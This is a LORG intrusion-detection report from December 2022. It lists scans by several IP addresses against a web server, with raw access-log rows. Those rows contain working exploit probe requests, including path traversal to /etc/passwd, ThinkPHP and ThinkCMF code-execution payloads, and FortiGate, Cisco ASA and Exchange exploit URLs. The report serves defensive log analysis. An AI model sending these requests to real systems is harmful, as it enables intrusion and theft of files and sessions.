LORG Detection Results [lorg]

Summary: 9 incidents discovered from 5 clients

185.7.214.218 | 3 incidents | impact ∑: 39

attacks only

Description: A random scan from France 22 hours ago. A total of 3 incidents where discovered by phpids detection modules.

185.130.224.57 | 2 incidents | impact ∑: 28

attacks only

Description: A targeted scan 22 hours ago. A total of 2 incidents where discovered by phpids detection modules.

Impact	Tags	Remote-City	Remote-Host	Remote-Logname	Remote-User	Date	Request	Final-Status	Bytes-Sent	Referer	User-Agent
0	none	-	185.130.224.57	-	-	Tue, 27 Dec 2022 08:01:46 +0100	GET / HTTP/1.0	302	390	-	-
0	none	-	185.130.224.57	-	-	Tue, 27 Dec 2022 08:01:52 +0100	GET / HTTP/1.0	302	6770	-	-
0	none	-	185.130.224.57	-	-	Tue, 27 Dec 2022 08:01:52 +0100	POST /ui/h5-vsan/rest/proxy/service/com.vmware.vsan.client.services.capability.VsanCapabilityProvider/getClusterCapabilityData HTTP/1.1	302	660	-	curl/7.54.0
0	none	-	185.130.224.57	-	-	Tue, 27 Dec 2022 08:01:52 +0100	GET /logon/LogonPoint/tmindex.html HTTP/1.1	302	478	-	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
0	none	-	185.130.224.57	-	-	Tue, 27 Dec 2022 08:01:52 +0100	POST /casa/nodes/thumbprints HTTP/1.1	302	446	-	Guayoyo - Mozilla/5.0 (compatible; vCenter)
0	none	-	185.130.224.57	-	-	Tue, 27 Dec 2022 08:01:52 +0100	PUT /api/v2/cmdb/system/admin/admin HTTP/1.1	302	480	-	Report Runner - Internet Research
0	none	-	185.130.224.57	-	-	Tue, 27 Dec 2022 08:01:52 +0100	GET /dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/ HTTP/1.1	400	408	-	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
0	none	-	185.130.224.57	-	-	Tue, 27 Dec 2022 08:01:52 +0100	GET /autodiscover/autodiscover.json?@abc.com/owa/?&Email=autodiscover/autodiscover.json?@abc.com HTTP/1.1	302	610	-	curl/7.54.0
0	none	-	185.130.224.57	-	-	Tue, 27 Dec 2022 08:01:52 +0100	GET / HTTP/1.1	302	420	-	curl/7.54.0
0	none	-	185.130.224.57	-	-	Tue, 27 Dec 2022 08:01:52 +0100	GET /rest/applinks/1.0/manifest HTTP/1.1	302	472	-	curl/7.54.0
13	dt id lfi xss csrf	-	185.130.224.57	-	-	Tue, 27 Dec 2022 08:01:52 +0100	GET /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession HTTP/1.1	404	5946	-	curl/7.54.0
0	none	-	185.130.224.57	-	-	Tue, 27 Dec 2022 08:01:52 +0100	PUT /api/v2/cmdb/system/admin/admin HTTP/1.1	405	6009	-	Report Runner - Internet Research
0	none	-	185.130.224.57	-	-	Tue, 27 Dec 2022 08:01:52 +0100	GET /dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/ HTTP/1.1	400	5978	-	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
0	none	-	185.130.224.57	-	-	Tue, 27 Dec 2022 08:01:52 +0100	POST /ui/h5-vsan/rest/proxy/service/com.vmware.vsan.client.services.capability.VsanCapabilityProvider/getClusterCapabilityData HTTP/1.1	404	5946	-	curl/7.54.0
0	none	-	185.130.224.57	-	-	Tue, 27 Dec 2022 08:01:52 +0100	GET /aspnet-ajax/Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1	404	5946	-	curl/7.54.0
0	none	-	185.130.224.57	-	-	Tue, 27 Dec 2022 08:01:52 +0100	POST /casa/nodes/thumbprints HTTP/1.1	404	5946	-	Guayoyo - Mozilla/5.0 (compatible; vCenter)
0	none	-	185.130.224.57	-	-	Tue, 27 Dec 2022 08:01:52 +0100	GET /rest/applinks/1.0/manifest HTTP/1.1	404	5946	-	curl/7.54.0
0	none	-	185.130.224.57	-	-	Tue, 27 Dec 2022 08:01:52 +0100	GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd HTTP/1.1	404	5946	-	curl/7.54.0
0	none	-	185.130.224.57	-	-	Tue, 27 Dec 2022 08:01:52 +0100	GET /logon/LogonPoint/tmindex.html HTTP/1.1	404	5946	-	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
15	xss csrf id rfe dt lfi	-	185.130.224.57	-	-	Tue, 27 Dec 2022 08:01:52 +0100	GET / CSCOT /translation-table?type=mst&textdomain=/+CSCOE+/portal_inc.lua&default-language&lang=../ HTTP/1.1	404	5946	-	curl/7.54.0
0	none	-	185.130.224.57	-	-	Tue, 27 Dec 2022 08:01:52 +0100	GET / HTTP/1.1	302	6770	-	curl/7.54.0
0	none	-	185.130.224.57	-	-	Tue, 27 Dec 2022 08:01:52 +0100	GET /autodiscover/autodiscover.json?@abc.com/owa/?&Email=autodiscover/autodiscover.json?@abc.com HTTP/1.1	404	5946	-	curl/7.54.0
0	none	-	185.130.224.57	-	-	Tue, 27 Dec 2022 08:01:52 +0100	GET /secure/rest/applinks/1.0/manifest HTTP/1.1	302	486	-	curl/7.54.0
0	none	-	185.130.224.57	-	-	Tue, 27 Dec 2022 08:01:52 +0100	GET /ui/login.action HTTP/1.1	302	432	-	Guayoyo - Mozilla/5.0 (compatible; vCenter)
0	none	-	185.130.224.57	-	-	Tue, 27 Dec 2022 08:01:52 +0100	GET /secure/rest/applinks/1.0/manifest HTTP/1.1	404	5946	-	curl/7.54.0
0	none	-	185.130.224.57	-	-	Tue, 27 Dec 2022 08:01:52 +0100	GET /ui/login.action HTTP/1.1	404	5946	-	Guayoyo - Mozilla/5.0 (compatible; vCenter)
0	none	-	185.130.224.57	-	-	Tue, 27 Dec 2022 08:01:52 +0100	GET /Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1	404	5946	-	curl/7.54.0
0	none	-	185.130.224.57	-	-	Tue, 27 Dec 2022 08:01:52 +0100	GET /jira/rest/applinks/1.0/manifest HTTP/1.1	302	482	-	curl/7.54.0
0	none	-	185.130.224.57	-	-	Tue, 27 Dec 2022 08:01:52 +0100	GET /?rt=Login/Index HTTP/1.1	200	11121	-	curl/7.54.0
0	none	-	185.130.224.57	-	-	Tue, 27 Dec 2022 08:01:52 +0100	GET /jira/rest/applinks/1.0/manifest HTTP/1.1	404	5946	-	curl/7.54.0
0	none	-	185.130.224.57	-	-	Tue, 27 Dec 2022 08:01:52 +0100	GET /confluence/rest/applinks/1.0/manifest HTTP/1.1	302	494	-	curl/7.54.0
0	none	-	185.130.224.57	-	-	Tue, 27 Dec 2022 08:01:52 +0100	GET /confluence/rest/applinks/1.0/manifest HTTP/1.1	404	5946	-	curl/7.54.0
0	none	-	185.130.224.57	-	-	Tue, 27 Dec 2022 08:01:52 +0100	GET /bitbucket/rest/applinks/1.0/manifest HTTP/1.1	302	492	-	curl/7.54.0
0	none	-	185.130.224.57	-	-	Tue, 27 Dec 2022 08:01:52 +0100	GET /bitbucket/rest/applinks/1.0/manifest HTTP/1.1	404	5946	-	curl/7.54.0
0	none	-	185.130.224.57	-	-	Tue, 27 Dec 2022 08:01:52 +0100	GET /bamboo/rest/applinks/1.0/manifest HTTP/1.1	302	486	-	curl/7.54.0
0	none	-	185.130.224.57	-	-	Tue, 27 Dec 2022 08:01:52 +0100	GET /bamboo/rest/applinks/1.0/manifest HTTP/1.1	404	5946	-	curl/7.54.0
0	none	-	185.130.224.57	-	-	Tue, 27 Dec 2022 08:01:52 +0100	GET /crowd/rest/applinks/1.0/manifest HTTP/1.1	302	484	-	curl/7.54.0
0	none	-	185.130.224.57	-	-	Tue, 27 Dec 2022 08:01:52 +0100	GET /crowd/rest/applinks/1.0/manifest HTTP/1.1	404	5946	-	curl/7.54.0

146.0.77.39 | 2 incidents | impact ∑: 28

attacks only

Description: A targeted scan from Netherlands 17 hours ago. A total of 2 incidents where discovered by phpids detection modules.

Impact	Tags	Remote-City	Remote-Host	Remote-Logname	Remote-User	Date	Request	Final-Status	Bytes-Sent	Referer	User-Agent
0	none	Netherlands	146.0.77.39	-	-	Tue, 27 Dec 2022 12:44:45 +0100	GET / HTTP/1.0	302	390	-	-
0	none	Netherlands	146.0.77.39	-	-	Tue, 27 Dec 2022 12:44:51 +0100	GET / HTTP/1.0	302	6770	-	-
0	none	Netherlands	146.0.77.39	-	-	Tue, 27 Dec 2022 12:44:51 +0100	GET /rest/applinks/1.0/manifest HTTP/1.1	302	472	-	curl/7.54.0
0	none	Netherlands	146.0.77.39	-	-	Tue, 27 Dec 2022 12:44:51 +0100	GET / HTTP/1.1	302	420	-	curl/7.54.0
0	none	Netherlands	146.0.77.39	-	-	Tue, 27 Dec 2022 12:44:51 +0100	POST /ui/h5-vsan/rest/proxy/service/com.vmware.vsan.client.services.capability.VsanCapabilityProvider/getClusterCapabilityData HTTP/1.1	302	660	-	curl/7.54.0
0	none	Netherlands	146.0.77.39	-	-	Tue, 27 Dec 2022 12:44:51 +0100	GET /logon/LogonPoint/tmindex.html HTTP/1.1	302	478	-	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
0	none	Netherlands	146.0.77.39	-	-	Tue, 27 Dec 2022 12:44:51 +0100	GET /autodiscover/autodiscover.json?@abc.com/owa/?&Email=autodiscover/autodiscover.json?@abc.com HTTP/1.1	302	610	-	curl/7.54.0
0	none	Netherlands	146.0.77.39	-	-	Tue, 27 Dec 2022 12:44:51 +0100	POST /casa/nodes/thumbprints HTTP/1.1	302	446	-	Guayoyo - Mozilla/5.0 (compatible; vCenter)
0	none	Netherlands	146.0.77.39	-	-	Tue, 27 Dec 2022 12:44:51 +0100	PUT /api/v2/cmdb/system/admin/admin HTTP/1.1	302	480	-	Report Runner - Internet Research
0	none	Netherlands	146.0.77.39	-	-	Tue, 27 Dec 2022 12:44:51 +0100	GET /dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/ HTTP/1.1	400	408	-	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
0	none	Netherlands	146.0.77.39	-	-	Tue, 27 Dec 2022 12:44:51 +0100	GET /autodiscover/autodiscover.json?@abc.com/owa/?&Email=autodiscover/autodiscover.json?@abc.com HTTP/1.1	404	5946	-	curl/7.54.0
0	none	Netherlands	146.0.77.39	-	-	Tue, 27 Dec 2022 12:44:51 +0100	POST /ui/h5-vsan/rest/proxy/service/com.vmware.vsan.client.services.capability.VsanCapabilityProvider/getClusterCapabilityData HTTP/1.1	404	5946	-	curl/7.54.0
0	none	Netherlands	146.0.77.39	-	-	Tue, 27 Dec 2022 12:44:51 +0100	GET /rest/applinks/1.0/manifest HTTP/1.1	404	5946	-	curl/7.54.0
0	none	Netherlands	146.0.77.39	-	-	Tue, 27 Dec 2022 12:44:51 +0100	PUT /api/v2/cmdb/system/admin/admin HTTP/1.1	405	6009	-	Report Runner - Internet Research
0	none	Netherlands	146.0.77.39	-	-	Tue, 27 Dec 2022 12:44:51 +0100	GET /dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/ HTTP/1.1	400	5978	-	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
0	none	Netherlands	146.0.77.39	-	-	Tue, 27 Dec 2022 12:44:51 +0100	GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd HTTP/1.1	404	5946	-	curl/7.54.0
0	none	Netherlands	146.0.77.39	-	-	Tue, 27 Dec 2022 12:44:51 +0100	POST /casa/nodes/thumbprints HTTP/1.1	404	5946	-	Guayoyo - Mozilla/5.0 (compatible; vCenter)
0	none	Netherlands	146.0.77.39	-	-	Tue, 27 Dec 2022 12:44:51 +0100	GET /aspnet-ajax/Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1	404	5946	-	curl/7.54.0
13	dt id lfi xss csrf	Netherlands	146.0.77.39	-	-	Tue, 27 Dec 2022 12:44:51 +0100	GET /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession HTTP/1.1	404	5946	-	curl/7.54.0
15	xss csrf id rfe dt lfi	Netherlands	146.0.77.39	-	-	Tue, 27 Dec 2022 12:44:51 +0100	GET / CSCOT /translation-table?type=mst&textdomain=/+CSCOE+/portal_inc.lua&default-language&lang=../ HTTP/1.1	404	5946	-	curl/7.54.0
0	none	Netherlands	146.0.77.39	-	-	Tue, 27 Dec 2022 12:44:51 +0100	GET /logon/LogonPoint/tmindex.html HTTP/1.1	404	5946	-	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
0	none	Netherlands	146.0.77.39	-	-	Tue, 27 Dec 2022 12:44:51 +0100	GET / HTTP/1.1	302	6770	-	curl/7.54.0
0	none	Netherlands	146.0.77.39	-	-	Tue, 27 Dec 2022 12:44:51 +0100	GET /secure/rest/applinks/1.0/manifest HTTP/1.1	302	486	-	curl/7.54.0
0	none	Netherlands	146.0.77.39	-	-	Tue, 27 Dec 2022 12:44:51 +0100	GET /ui/login.action HTTP/1.1	302	432	-	Guayoyo - Mozilla/5.0 (compatible; vCenter)
0	none	Netherlands	146.0.77.39	-	-	Tue, 27 Dec 2022 12:44:51 +0100	GET /secure/rest/applinks/1.0/manifest HTTP/1.1	404	5946	-	curl/7.54.0
0	none	Netherlands	146.0.77.39	-	-	Tue, 27 Dec 2022 12:44:51 +0100	GET /?rt=Login/Index HTTP/1.1	200	11121	-	curl/7.54.0
0	none	Netherlands	146.0.77.39	-	-	Tue, 27 Dec 2022 12:44:51 +0100	GET /ui/login.action HTTP/1.1	404	5946	-	Guayoyo - Mozilla/5.0 (compatible; vCenter)
0	none	Netherlands	146.0.77.39	-	-	Tue, 27 Dec 2022 12:44:51 +0100	GET /Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1	404	5946	-	curl/7.54.0
0	none	Netherlands	146.0.77.39	-	-	Tue, 27 Dec 2022 12:44:51 +0100	GET /jira/rest/applinks/1.0/manifest HTTP/1.1	302	482	-	curl/7.54.0
0	none	Netherlands	146.0.77.39	-	-	Tue, 27 Dec 2022 12:44:51 +0100	GET /jira/rest/applinks/1.0/manifest HTTP/1.1	404	5946	-	curl/7.54.0
0	none	Netherlands	146.0.77.39	-	-	Tue, 27 Dec 2022 12:44:51 +0100	GET /confluence/rest/applinks/1.0/manifest HTTP/1.1	302	494	-	curl/7.54.0
0	none	Netherlands	146.0.77.39	-	-	Tue, 27 Dec 2022 12:44:51 +0100	GET /confluence/rest/applinks/1.0/manifest HTTP/1.1	404	5946	-	curl/7.54.0
0	none	Netherlands	146.0.77.39	-	-	Tue, 27 Dec 2022 12:44:51 +0100	GET /bitbucket/rest/applinks/1.0/manifest HTTP/1.1	302	492	-	curl/7.54.0
0	none	Netherlands	146.0.77.39	-	-	Tue, 27 Dec 2022 12:44:51 +0100	GET /bitbucket/rest/applinks/1.0/manifest HTTP/1.1	404	5946	-	curl/7.54.0
0	none	Netherlands	146.0.77.39	-	-	Tue, 27 Dec 2022 12:44:51 +0100	GET /bamboo/rest/applinks/1.0/manifest HTTP/1.1	302	486	-	curl/7.54.0
0	none	Netherlands	146.0.77.39	-	-	Tue, 27 Dec 2022 12:44:51 +0100	GET /bamboo/rest/applinks/1.0/manifest HTTP/1.1	404	5946	-	curl/7.54.0
0	none	Netherlands	146.0.77.39	-	-	Tue, 27 Dec 2022 12:44:51 +0100	GET /crowd/rest/applinks/1.0/manifest HTTP/1.1	302	484	-	curl/7.54.0
0	none	Netherlands	146.0.77.39	-	-	Tue, 27 Dec 2022 12:44:51 +0100	GET /crowd/rest/applinks/1.0/manifest HTTP/1.1	404	5946	-	curl/7.54.0

47.90.215.174 | 1 incident | impact ∑: 13

attacks only

Description: A random scan from Canada, Ottawa yesterday. A total of one incident was discovered by phpids detection modules. The incident happened during unusual working hours in Canada, so it might be carried out by a hobbyist on caffeine.

152.89.196.211 | 1 incident | impact ∑: 12

attacks only

Description: A targeted scan and random scan yesterday. A total of one incident was discovered by phpids detection modules.

Impact	Tags	Remote-City	Remote-Host	Remote-Logname	Remote-User	Date	Request	Final-Status	Bytes-Sent	Referer	User-Agent
0	none	-	152.89.196.211	-	-	Tue, 27 Dec 2022 04:36:51 +0100	GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1	302	6770	-	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
0	none	-	152.89.196.211	-	-	Tue, 27 Dec 2022 04:36:51 +0100	GET /?rt=Login/Index HTTP/1.1	200	8462	https://91.223.222.18:443/?XDEBUG_SESSION_START=phpstorm	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
0	none	-	152.89.196.211	-	-	Tue, 27 Dec 2022 06:46:13 +0100	GET /actuator/gateway/routes HTTP/1.1	404	5946	-	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
0	none	-	152.89.196.211	-	-	Tue, 27 Dec 2022 20:15:43 +0100	POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1	302	522	-	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
0	none	-	152.89.196.211	-	-	Tue, 27 Dec 2022 20:15:43 +0100	\x16\x03\x01	400	-	-	-
0	none	-	152.89.196.211	-	-	Tue, 27 Dec 2022 20:19:46 +0100	GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1	302	522	-	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
0	none	-	152.89.196.211	-	-	Tue, 27 Dec 2022 20:19:46 +0100	\x16\x03\x01	400	-	-	-
0	none	-	152.89.196.211	-	-	Tue, 27 Dec 2022 20:35:40 +0100	GET /solr/admin/info/system?wt=json HTTP/1.1	302	482	-	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
0	none	-	152.89.196.211	-	-	Tue, 27 Dec 2022 20:35:40 +0100	\x16\x03\x01	400	-	-	-
0	none	-	152.89.196.211	-	-	Tue, 27 Dec 2022 20:42:57 +0100	GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1	302	658	-	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
0	none	-	152.89.196.211	-	-	Tue, 27 Dec 2022 20:42:57 +0100	\x16\x03\x01	400	-	-	-
12	xss csrf id rfe lfi	-	152.89.196.211	-	-	Tue, 27 Dec 2022 20:48:14 +0100	GET /?a=fetch&content=die(@md5(HelloThinkCMF)) HTTP/1.1	302	542	-	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
0	none	-	152.89.196.211	-	-	Tue, 27 Dec 2022 20:48:14 +0100	\x16\x03\x01	400	-	-	-
0	none	-	152.89.196.211	-	-	Tue, 27 Dec 2022 21:00:16 +0100	GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1	302	482	-	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
0	none	-	152.89.196.211	-	-	Tue, 27 Dec 2022 21:00:20 +0100	\x16\x03\x01	400	-	-	-
0	none	-	152.89.196.211	-	-	Tue, 27 Dec 2022 21:24:54 +0100	GET /console/ HTTP/1.1	302	438	-	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
0	none	-	152.89.196.211	-	-	Tue, 27 Dec 2022 21:24:54 +0100	\x16\x03\x01	400	-	-	-
0	none	-	152.89.196.211	-	-	Tue, 27 Dec 2022 21:37:49 +0100	POST /Autodiscover/Autodiscover.xml HTTP/1.1	302	480	-	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
0	none	-	152.89.196.211	-	-	Tue, 27 Dec 2022 21:37:49 +0100	\x16\x03\x01	400	-	-	-
0	none	-	152.89.196.211	-	-	Tue, 27 Dec 2022 21:41:53 +0100	GET /_ignition/execute-solution HTTP/1.1	302	474	-	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
0	none	-	152.89.196.211	-	-	Tue, 27 Dec 2022 21:41:53 +0100	\x16\x03\x01	400	-	-	-
0	none	-	152.89.196.211	-	-	Tue, 27 Dec 2022 21:55:57 +0100	GET / HTTP/1.1	302	422	-	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
0	none	-	152.89.196.211	-	-	Tue, 27 Dec 2022 21:55:57 +0100	\x16\x03\x01	400	-	-	-
0	none	-	152.89.196.211	-	-	Tue, 27 Dec 2022 22:11:34 +0100	GET / HTTP/1.1	302	422	-	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
0	none	-	152.89.196.211	-	-	Tue, 27 Dec 2022 22:11:34 +0100	\x16\x03\x01	400	-	-	-
0	none	-	152.89.196.211	-	-	Tue, 27 Dec 2022 22:32:32 +0100	GET /actuator/gateway/routes HTTP/1.1	302	468	-	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
0	none	-	152.89.196.211	-	-	Tue, 27 Dec 2022 22:32:32 +0100	\x16\x03\x01	400	-	-	-